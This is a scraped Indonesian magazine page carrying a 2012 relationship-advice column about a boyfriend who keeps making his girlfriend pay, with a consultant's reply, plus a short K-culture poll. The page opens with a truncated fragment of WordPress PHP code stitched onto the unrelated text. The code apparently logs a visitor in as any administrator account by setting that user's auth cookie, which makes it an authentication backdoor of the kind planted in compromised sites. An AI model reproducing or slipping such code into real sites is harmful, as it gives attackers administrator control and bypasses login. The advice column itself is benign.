user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Sex & Relationship
Dicintai Atau Dimanfaatkan?

11 Apr 2012

Tanya:

Saya (25) baru tiga bulan berpacaran dengan kekasih (26), kakak tingkat waktu kuliah yang kebetulan satu kantor. Sejak awal kuliah dulu, saya sudah jatuh hati kepada kekasih, karena wajahnya yang tampan. Beberapa minggu jalan bersama, kekasih sering meminta saya membayar makanan ketika kami pesan. Ia juga tak segan meminta uang bensin untuk mobilnya setelah mengantar saya ke kantor. Tak hanya itu, kekasih meminta diisikan pulsa ketika seharian dia tidak menelepon saya, dengan alasan pulsanya habis. Saya ragu, apakah dia sungguh-sungguh mencintai saya atau hanya memanfaatkan saya? 

Jawab:

Ingatlah dahulu bagaimana Anda bisa jatuh cinta kepada kekasih. Jangan sampai Anda jatuh cinta karena terjebak oleh ketampanan wajah seseorang. Kini, saatnya Anda mendengarkan hati nurani Anda. Tampaknya Anda pun sudah menyadari ada sesuatu yang tak sepatutnya dilakukan seorang sahabat, kenalan, apalagi kekasih dengan kerap memanipulasi kondisi ekonomi yang dialami. 

Advertisement
Demi kelangsungan hubungan Anda berdua, sebaiknya Anda pertimbangkan kembali dengan sungguh-sungguh apakah kekasih memang tulus atau berpura-pura. Perlu diketahui, sikap dan kecenderungan perilaku seseorang tidak mudah mengalami perubahan sesuai harapan. 

Sebaiknya Anda jangan berangan-angan: mudah-mudahan kelak ia akan mengubah sikap buruknya. Jangan pula terjebak ilusi sesaat: ketika Anda menegurnya, ia mengubah perilakunya. Karena, boleh jadi perubahan sementara tersebut bersifat palsu guna mengelabui Anda lebih lanjut. Janganlah ragu untuk bersikap tegas pada diri Anda sendiri. Bila memang tak layak untuk Anda, buat apa dipertahankan? 

Konsultan: Monty Satiadarma



 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?